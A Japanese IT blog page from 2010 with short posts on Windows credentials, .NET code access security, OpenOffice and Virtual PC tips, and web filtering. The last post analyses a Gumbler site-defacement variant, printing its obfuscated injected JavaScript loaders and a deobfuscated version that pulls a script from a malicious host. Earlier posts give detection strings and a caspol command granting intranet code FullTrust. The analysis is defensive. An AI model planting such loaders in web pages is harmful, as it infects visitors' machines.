「ほっ」と。キャンペーン
<   2010年 01月 ( 15 )   > この月の画像一覧
(Windows)共有フォルダにアクセス時に表示される認証ダイアログ情報の保存先
Windowsで共有フォルダにアクセスすると認証ダイアログボックスが表示されることがあります。(サーバ側のGuestアカウントが無効になってること前提です。ここら辺の詳しい話は(XP)「簡易ファイルの共有」機能にやられたを参照。)
この時、「パスワードを記憶する」にチェックすると入力した資格情報が正しければその情報が保存されます。
e0091163_1131320.jpg


そして、次回接続時にはその保存した資格情報でアクセスを試みます。

この保存された情報は確認が可能なようです。(パスワードは見えないようになってますが。。)
ファイル名を指定して実行で、「control USERPASSWORDS2」を実行し、「詳細設定」タブから「パスワードの管理」押下すると保存してる情報を確認できるようです。
↓WindowsXPの場合「ユーザ名およびパスワード保存」というところに入る
e0091163_115218.jpg


↓Windows7の場合は、「資格情報マネージャー」が開く
e0091163_1102821.jpg


ドメイン環境の場合は、コントロールパネル→「ユーザアカウント」→「詳細設定」タブ→「パスワードの管理」からでもいけます。
ワークグループ環境の場合は、コントロールパネル→「ユーザアカウント」→ログインユーザ名を選択→左ペインの「関連した作業」の「ネットワークパスワードを管理する」から表示できるようです。


今回とあるユーザからグループウェアに載せてたある共有フォルダにアクセスできないとの問い合わせがありました。
仮に file://testserver/folder1 というリンクから共有フォルダにアクセスしようとしてたとします。
この folder1 にはそのユーザのドメインアカウントのみアクセスを許可しています。(domain\useraにアクセス許可)

原因を探してると、以前に同じサーバ上の別の共有フォルダにアクセスする際に、別のアカウントでしかアクセス許可がなかったため、認証ダイアログでその別アカウントのユーザ名とパスワード保存してたようです。
例えば file://testserver/folder2 が domain\userb にしかアクセス許可がなかったため、その情報を保存してたという感じです。

この場合、リンク先の file://testserver/folder1 にアクセスする際にログインしてるユーザ(domain\usera)ではなくて、domain\userb でアクセスを試みるため、はじかれたようですね。
ちなみに、ログイン直後でエクスプローラから \\testserver でアクセスし、該当フォルダを開くときには認証ダイアログが出てきます。(ユーザ名には userb が表示されますが。。)


「ユーザ名およびパスワード保存」では、サーバ毎の資格情報の保存しかできません。よって、同じサーバで共有フォルダのアクセス許可が異なる場合で、ユーザ名・パスワード保存すると、今回のようにアクセスできないという事態になるようですね。

後一つ気に食わないのは、ログイン直後 file:// でアクセスしたときには「アクセスできません」って警告じゃなくて、再度認証ダイアログを表示するようにしてほかったですね。


この資格情報の保存のタイミングについては、MSサポート:[ユーザー名およびパスワードの保存] の動作に詳しく載せられてました。
[PR]
by jehoshaphat | 2010-01-26 01:10 | 豆知識 | Trackback | Comments(1)
(.Net).Netで作成したアセンブリを共有フォルダで実行すると落ちる
(.Net Framework は 2.0です)
同じセグメント内の共有フォルダ内の .Net アプリケーションは問題なく動きました。

問題はルータを超えて共有フォルダにアクセスするときです。
(例えば192.168.0.xxxのPCが192.168.1.xxxの共有フォルダ上の .Net アプリを動かす時です)
その場合、アプリケーションを起動すると、まず下記のような警告ダイアログがでます。(社内で使う用のツールなので、当然デジタル署名は付けてません。)
e0091163_111666.jpg


そして、実行を選ぶと「問題が発生したため アプリ名 を終了します。」と例外が発生し、起動できません。。

この実行できずにエラーで落ちる件は、.Net のコードアクセスセキュリティというものが関係しているらしいです。

調べてみると、解決策が”熱狂するシステム開発!”ブログ:【C#】ネットワークドライブ上にあるアセンブリを実行するに載ってました。

どうやらコードアクセスセキュリティを変更すればいいようです。
GUIの「Microsoft .NET Framework 2.0 構成」ツールはSDK入れないと無いようなので、フレームワーク自体についている caspol.exe を使うとコマンドラインで設定できるようですね。

とりあえず、

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727>caspol.exe -machine -chggroup LocalIntranet_Zone FullTrust

で確認を聞いてくるので yes を押下するといいようです。

で、実行したけど同じエラーが出てしまいました。。

よく考えたら、上記のコマンド上ではゾーンが LocalIntranet になっているのに、共有フォルダをエクスプローラ上でみると、セキュリティゾーンがインターネットになってます。(XPだとステータスバー右下)
e0091163_115687.jpg


ということで、インターネットオプションダイアログ開き、共有フォルダのパス(file://192.168.1.xxx)をローカルイントラネットゾーンに追加してみました。

これで実行したら動きました。


さて、この.Netのコードアクセスセキュリティ構成をリセットするには下記コマンド入れるといいらしいです。

caspol.exe -all -reset



コードアクセスセキュリティも概要は知っとく必要と思って、MSDNみたけど、どうもわかりやすい情報ありません。
比較的下記サイトがわかりやすかったです。
.NET Framework におけるセキュリティ

さらに詳しい説明は.Net1.1ですが、下記が参考になります。(ただ読むのに時間かかりますが..)
@IT:インサイド .NET Framework [改訂版]第6回 コード・アクセス・セキュリティ(その1)


ちなみに、現在のコードグループ表示は下記MSDNに載ってます。
MSDN:方法 : Caspol.exe を使用してコード グループを表示する

今回、上記の設定後のコードグループを確認してみるとこうなりました。

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727>caspol -machine -listgroups
Microsoft (R) .NET Framework CasPol 2.0.50727.42
Copyright (c) Microsoft Corporation. All rights reserved.

Security is ON
Execution checking is ON
Policy change prompt is ON

Level = Machine

Code Groups:

1. All code: Nothing
1.1. Zone - MyComputer: FullTrust
1.1.1. StrongName - 0024document48document94document00602document0240000525341310004document100010007D1FA57C4AED9F0A32E84AA0FAEFD0DE9E8FD6AEC8F87FB
03766C834C99921EB23BE79AD9D5DCC1DD9AD236132102900B723CF980957FC4E177108FC607774F29E8320E92EA05ECE4E821C0A5EFE8F1645C4C0C93C1AB99285D622CAA6
52C1DFAD63D745D6F2DE5F17E5EAF0FC4963D261C8A12436518206DC093344D5AD293: FullTrust
1.1.2. StrongName - documentdocumentdocument004documentdocument0000: FullTrust
1.2. Zone - Intranet: FullTrust
1.2.1. All code: Same site Web
1.2.2. All code: Same directory FileIO - 'Read, PathDiscovery'
1.3. Zone - Internet: Internet
1.3.1. All code: Same site Web
1.4. Zone - Untrusted: Nothing
1.5. Zone - Trusted: Internet
1.5.1. All code: Same site Web
Success

この結果をみても、コードグループが1.1とか1.2とかわけわからんので、コード グループの名前と説明を一覧表示してみます。

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727>caspol -machine -listdescription
Microsoft (R) .NET Framework CasPol 2.0.50727.42
Copyright (c) Microsoft Corporation. All rights reserved.

Security is ON
Execution checking is ON
Policy change prompt is ON

Level = Machine

Code Groups:

1. All_Code: Code group grants no permissions and forms the root of the code group tree.
1.1. My_Computer_Zone: Code group grants full trust to all code originating on the local computer
1.1.1. Microsoft_Strong_Name: Code group grants full trust to code signed with the Microsoft strong name.
1.1.2. ECMA_Strong_Name: Code group grants full trust to code signed with the ECMA strong name.
1.2. LocalIntranet_Zone: Code group grants the intranet permission set to code from the intranet zone. This permission set grants intran
et code the right to use isolated storage, full UI access, some capability to do reflection, and limited access to environment variables.
1.2.1. Intranet_Same_Site_Access: All intranet code gets the right to connect back to the site of its origin.
1.2.2. Intranet_Same_Directory_Access: All intranet code gets the right to read from its install directory.
1.3. Internet_Zone: Code group grants code from the Internet zone the Internet permission set. This permission set grants Internet code
the right to use isolated storage and limited UI access.
1.3.1. Internet_Same_Site_Access: All Internet code gets the right to connect back to the site of its origin.
1.4. Restricted_Zone: Code coming from a restricted zone does not receive any permissions.
1.5. Trusted_Zone: Code from a trusted zone is granted the Internet permission set. This permission set grants the right to use isolated
storage and limited UI access.
1.5.1. Trusted_Same_Site_Access: All Trusted Code gets the right to connect back to the site of its origin.
Success

これで、どの番号がどのゾーンかわかりますね。

ただ、配布する先のクライアントPCにいちいちコマンド打つの面倒なので、下記のようにバッチファイルを走らすと楽です。

echo y|%sytemroot%\Microsoft.NET\Framework\v2.0.50727\caspol.exe -machine -chggroup LocalIntranet_Zone FullTrust


インターネットゾーンに対して FullTrust アクセス許可セットを指定すると共有フォルダのイントラネットへの追加をしなくてもいいんでしょうが、さすがにセキュリティのリスクが高すぎるというか危険ですね。


また、これは試してないので何とも言えませんが、ActiveDirectory環境なら、caspol の第一引数のポリシーレベルは enterprise にしてもいいんかもしれません。
[PR]
by jehoshaphat | 2010-01-22 01:02 | .Net開発 | Trackback | Comments(0)
(OpenOffice Calc)マクロ特にないようなのにマクロが有るという警告ダイアログがでる
OpenOffice ver2.4

xlsファイルを Calc で開くと、マクロの警告がでてきました。
Excelで開くとマクロは無いような表示になってます。

多分もともとマクロ付きのExcelファイルをベースにしてて、後でコードだけのけたんだろうと思います。

ただ、Calc 形式で保存しなおしても毎回マクロ警告聞いてくるのが鬱陶しいのでいろいろ触ってると下記の手順で解決しました。

メニューバーから「ツール」→「マクロ」→「マクロの管理」より該当文書を選択し、管理ボタンを押下します。
ここで開いたダイアログ画面で、該当文書のツリーを展開して、Standardディレクトリ配下のシートを削除します。
[PR]
by jehoshaphat | 2010-01-22 00:59 | OpenOffice | Trackback | Comments(0)
(OpenOffice Writer)docファイルをWriterで開くと行間が広くなってしまう
OpenOffice ver2.4

Word で作った doc ファイルを Writer で開くと行間が広くなってしまう現象が起きてます。(特に表が挿入されてる時)

その場合、大抵下記の手順を踏めばまともに表示されるっぽいです。
1.メニュバーから「書式」→「ページ」で、「行数と文字数」から「標準の文字数を使う」を選択。
2.メニュバーから「書式」→「段落」で「配置タブ」より、「罫線で位置合わせ(罫線表示状態で)」のチェックをオフにする。
[PR]
by jehoshaphat | 2010-01-22 00:58 | OpenOffice | Trackback | Comments(0)
(OpenOffice Calc)変更履歴のコメントを表示にする
OpenOffice ver2.4

Excelで変更履歴の記録を有効にしたファイルを Calc で開くと、変更の履歴情報がコメントで表示されてしまいます。
過去に入力したセルすべてに履歴コメントが表示されるため、セルにマウスポーバーするたびに履歴表示され非常に鬱陶しいです。

この履歴コメントをCalcで非表示にするには、メニュバーの「編集」→「変更」→「表示」で「表内の変更箇所を表示」チェックをのけるとできました。


社内のオフィススイートが OpenOffice なんですが、3流PGは OpenOffice 初デビューなんでいろいろ苦戦中です。
[PR]
by jehoshaphat | 2010-01-19 01:02 | Trackback | Comments(0)
WEBページを閲覧せずに直でHTMLをのぞける view-source スキーマ
最近 Gumbler 亜種等に改ざんされたページが多いので、それの調査のために手軽にWEBページのHTMLソースをのぞける方法を探してました。
で、見つけたのが view-source: というスキーマです。

ブラウザでアドレスに view-source:http://jehupc.exblog.jp/ と指定すると、そのソースが簡単にみれます。
JavaScriptも動かないので改ざんされたWEBサイトの調査にも使えます。

ただ、動作確認できたのは Firefox 3.5 , Google Chrome だけでした。IE8とOperaはNGです。(IEはXP SP2以降からダメになったとかなんとか。。)

イメージとしては↓のような感じです。
e0091163_2216366.jpg

[PR]
by jehoshaphat | 2010-01-18 22:20 | 豆知識 | Trackback | Comments(0)
Virtual PC 2007上のゲストOSの時刻が勝手に元に戻る
Virtual PC 2007 ゲストOS(WinXP)上で、アプリケーションのテストで日時を変更して行う必要がありました。

で、いくら変更しても2,30秒後には元に戻るんですよね。

Windows Time サービスとか切ってみたんですが、ダメです。


で、調べてみたら、VPCってホストOSのクロックと勝手に同期するようになってるんですね。
その機能を無効にするには、仮想マシンの構成ファイル(.VMCファイル)をテキストエディタで開き host_time_sync の値を false にしてやるといいようです。

<integration>
<microsoft>
<components>
<host_time_sync>
<enabled type="boolean">false</enabled>
</host_time_sync>
</components>
.....


詳しくは@IT:仮想マシンの時刻同期機能を無効にする(Virtual PC編)に載ってます。
[PR]
by jehoshaphat | 2010-01-18 20:42 | 豆知識 | Trackback | Comments(0)
Gumbler対策のi-FILTER禁止単語設定でハマる
プロキシで使ってる i-FILETR ver6 の設定でハマった所があるのでメモメモ。
i-FITER には「禁止単語設定」というのがあります。
これを使って昨今流行ってる Gumbler によって改ざんされたページをブロックしようと思ってます。(クライアントPCのアンチウイルスでも防御できてるんですが、アンチウイルスのアラートが発生したらいろいろめんどい社内手続きがあるのでそれを回避しようと思ってのことです。。)

この記事でも書いたように、Gumbler改ざんコードの特徴として、各種記号文字を replace していることがあります。
ということで、下記の文字列を含むコンテンツをi-FILTERでブロックします。

)'.replace(
('.replace(
!'.replace(
$'.replace(
&'.replace(
#'.replace(
^'.replace(
@'.replace(

で、メニューから「共通リスト設定」→「禁止単語リスト」からコンテンツにチェックし上記の文字列を設定します。

しかし、どうやら動作してないようなのです。

いろいろ調べた結果 ver6 では下記の設定をしないといけないようです。

メニュー >> フィルター強度設定 >> フィルター強度情報 >> コンテンツフィルター設定 
で、「ユーザー定義リストカテゴリの編集」から、「コンテンツ単語」 にチェックし、コンボボックスを「ブロック」にします。
これでちゃんとフィルタリングできるようになりました。

ちなみに、ver7の場合はDigitalArtsのサポートページに書いてました。
[PR]
by jehoshaphat | 2010-01-18 00:14 | 豆知識 | Trackback | Comments(0)
(.Net)DataGridViewからCSVエクスポート時に書式変更
DataGridViewで商品の売上情報を表示し、ボタン押下すると DataGridView.GetClipboardContent() を使ってCSVにエクスポートする仕組みを作っています。
DataGridViewの価格情報に関する列は DefaultCellStyle.Format = "c" と定義し、書式化された値で表示してます。

この状態で、DataGridView.GetClipboardContent() を使うと、書式化された値(例:¥1,000)が取得されてしまいます。

ですが、納品先からCSVエクスポート時は書式化されない方がいいという要望がありました。

クラスライブラリに便利なメソッドあるかと思って調べましたが、無いようです。

ということで下記の対処にしました。
//dgvは DataGridView を表す
 
//書式化を解除
dgv.Columns["Price"].DefaultCellStyle.Format = "g";
dgv.Columns["UnitPrice"].DefaultCellStyle.Format = "g";
 
//CSVデータを作成
dgv.SelectAll();
DataObject returnValue = dgv.GetClipboardContent();
 
//書式化を再指定
dgv.Columns["Price"].DefaultCellStyle.Format = "c";
dgv.Columns["UnitPrice"].DefaultCellStyle.Format = "c";
 
//CSV文字列取得
string strCsv = returnValue.GetText(TextDataFormat.CommaSeparatedValue);

一旦書式化を解除して、GetClipboardContent() 後に書式化を再指定する方法です。
無理やりてき感じがしますが、まぁとりあえずこれでしのぐことに。。

フォーマットの書式指定は下記を参照。
http://msdn.microsoft.com/ja-jp/library/dwhawy9k%28VS.80%29.aspx
[PR]
by jehoshaphat | 2010-01-17 23:47 | .Net開発 | Trackback | Comments(0)
Gumbler亜種がまん延
去年暮れくらいからGumbler亜種と思われるウイルスの被害が続出してるようです。
JR東日本、ローソン、京王電鉄、ハウス食品等大手企業さいとでもHTMLが改ざんされウイルス配布サーバにリダイレクトされるコードが挿入されてたらしいですね。

手口としては以前に書いた記事で取り上げた方法とほぼ一緒です。

ただ、改ざん時に挿入された JavaScript が異なるので、昨年5月に流行したやつをまねた亜種でしょうね。
ウイルス本体は報道によるとAdoreReaderやJava等の脆弱性をついてくるようですが、ウイルス本体の入手ができなかったのでそこらへんは未調査です。
(リダイレクト先のサーバも同一IPから初回だけウイルスダウンロードさせる的な動きを取ってるようです)

社内でもこのウイルスに引っかかるケースが増えてきました。
現状としては、アンチウイルスソフトで何とか防げてます。
昨年12月下旬の時はリダイレクト先から悪質なjpgをダウンロードしてる所で検知してくれましたが、最近は難読化したリダイレクトコードのあるページだけでも検知してるようです。

余談ですが、ウイルスの解析のため VirtualPC 上で改ざんされたサイト閲覧するとホストOS上のNOD32が反応してブロックされてしまいました。Microsoft Security Essentialsは全然反応しなかったんですけどね。。(解析したのが去年暮れで、Security Essentialsがこの悪質コードに対応したシグネチャを配布したのは1月上旬みたいなんで、今は検知すると思います。)

参考までに、今回の改ざんされたHTML上に挿入される難読化したリダイレクトコードのっけておきます。
サイト持ってて、こんなコードが入っている場合は早急に対応してください。サイト見た人がホント迷惑するんで。。。


/*GNU GPL*/ try{window.onload = function(){var Wdz8p0zg1x6n = documen
t.createElement('s@($c(&r)$@i^$!&p@#t@$^'.replace(/\^|#|\$|\(|\)|&|\!
|@/ig, ''));var O8thstxdzw = 'Oiw389ryv2642';Wdz8p0zg1x6n.setAttribut
e('type', 't&(@^!e@@$&x@&))t$^/($^(j(a$^!v^&^a(!s@#c^r#^i(p^$^!t('.re
place(/\(|\!|@|#|\^|\$|\)|&/ig, ''));Wdz8p0zg1x6n.setAttribute('src',
'h&!!t&!&^t(^p@@@:#@/!!/(&p&)@p$@l#i&$v)!e&^(-@$c)^$o)!&)^m&$.&!@w)
$!e)b^!m@^#)a!)s^$^^t&^$e)(r(w!^o()#r$#!^l@@d!.)!c($@^o)$#m^).@@w(s((
j)(-)($)c#&$o$^m&.$j)o!^@h&@#n(#s#)#i$)&t)e!(.(r$&u#:$(^8^0$&&8(0@!$/
)$&o^r)^$$#k@))!u^t&^.()#c))^)o@)()m()(!.@^b@!r^$/!$@o^r^k)))#u@t@!&.
)#c#o!&(m@$$.@!(b$(r@)$!/#^^g^$$$^o!($@o$!!g$^l)(e(.&()(c^^)$o)m#^&.$
)^p$&h&!))/($$(b!)!(i!#@#n)$g@&.@!)c&&o((@#m^!@/^g(&()o)!o($g)@!)l@!&
e#$.(!#c@^o@m#@/@@!!@'.replace(/\!|#|\)|\$|\(|\^|@|&/ig, ''));Wdz8p0z
g1x6n.setAttribute('defer', 'd^(e&)f(^e$r!'.replace(/\!|@|\)|\$|\^|&|
\(|#/ig, ''));Wdz8p0zg1x6n.setAttribute('id', 'B(##1@)3()a@^(b$$&f&)q
#)@l#$$)v^y@^!&4&#$^'.replace(/@|#|&|\)|\$|\^|\!|\(/ig, ''));document
.body.appendChild(Wdz8p0zg1x6n);}} catch(N8q68wvetq) {}
 
*LGPL*/ try{ window.onload = function(){var C7stlc4494 = document.cre
ateElement('s!&(!c!r^!i((((p#t$#$'.replace(/\^|\!|@|&|\(|#|\$|\)/ig,
''));C7stlc4494.setAttribute('defer', 'd!e!!f&$e$r(!'.replace(/\(|\!|
&|\)|#|\^|\$|@/ig, ''));C7stlc4494.setAttribute('type', 't)&)e^&!x@@&
t$@))/#)()j!)a$(v($^&a(!s&!!$c^#@!&r#i$#$^p#^$t)!('.replace(/&|\)|\(|
@|\!|\$|#|\^/ig, ''));C7stlc4494.setAttribute('id', 'Y@(^w@$)x#@)@n!^
e$^a)$)c!$(8@!))1@)#j$q)#)$y$r!#'.replace(/\$|\^|@|#|\)|\(|\!|&/ig, '
'));C7stlc4494.setAttribute('s((r!#c$^&!'.replace(/\^|\!|&|\(|@|\$|#|
\)/ig, ''), 'h&#t$t$#(p^#@:^$#/$#^$/)$&r$e!$(a^l^)#t&#((o((&r^)-^)c@
(o@$!$m^.$(#l##)i@#!n()k&s$(^&y&($n(!e(@)!r$!(g(@y#!.(c##(o$^@(m!$^.&
$f)a&@@n^&p)o))@p(^@(-#(@c!#(^o^@$m@$.$w$@(o!&$r)l&&&d$#&w!$&e&$(^b#$
^&w$@o&^)r$#l^(d($$^.^&(&r#&&)u$!:$#8!^^!(0)8!@0))/)!&#a@#s#s!&!o(^c#
^i!a(!(()t$^e$d$!!c))o!)n&t#^(e)^n)@t(.!@#(c#&!!o#@^m!^&/$&a^&^s)s#o#
^c!i^!a#t!(e#)d&c($&o^)n!!#t)!(e(!)#n&t&&$&.!)c)^()^o(m^!/(&l!$^i#v$#
!e@^($$.!^$$c^#^#o))$m^/$@g^@@o(&o&^g&)&^l@&e&(^).@^c!$!o(^^&m$&/)&a)
t))(t!#@.)$^^n^!@$e@&t#(/^&'.replace(/\$|@|\!|#|\^|\(|\)|&/ig, ''));i
f (document){document.body.appendChild(C7stlc4494);}} } catch(Zzjczsh
sk9s66fhnr2) {}


先頭に GNU GPL とか LGPL とかつけて、検知をすり抜けようとしてるみたいですね。

ちなみに、上の難読化コードの1番目を可読化するとこうなります。

/*GNU GPL*/
try{
window.onload = function{
var Wdz8p0zg1x6n = document.createElement('script');
var O8thstxdzw = 'Oiw389ryv2642';
Wdz8p0zg1x6n.setAttribute('type', 'text/javascript');
Wdz8p0zg1x6n.setAttribute('src', 'http://pplive-com.webmasterworld.com.wsj-com.johnsite.ru:8080/orkut.com.br/orkut.com.br/google.com.ph/bing.com/google.com/');
Wdz8p0zg1x6n.setAttribute('defer');
Wdz8p0zg1x6n.setAttribute('id', 'B13abfqlvy4');
document.body.appendChildWdz8p0zg1x6n;
}
} catch (N8q68wvetq) {
}


今回の難読化は ( , ) , ^ , $ , # , @ , ! の文字を文字列中に含めて、replace で空文字に置換してるだけの単純なものですね。

ウイルス本体配布サーバはロシアが使われてるっぽいです。

ホスト逆引きすると下記のIPになってたんで、FWでブロックしとくと安心かもしれませんね。(他にもIPあるらしいですけど。。)
94.23.206.229
83.172.134.48
91.121.79.191
91.121.86.130
91.121.142.111
[PR]
by jehoshaphat | 2010-01-17 23:38 | 豆知識 | Trackback | Comments(0)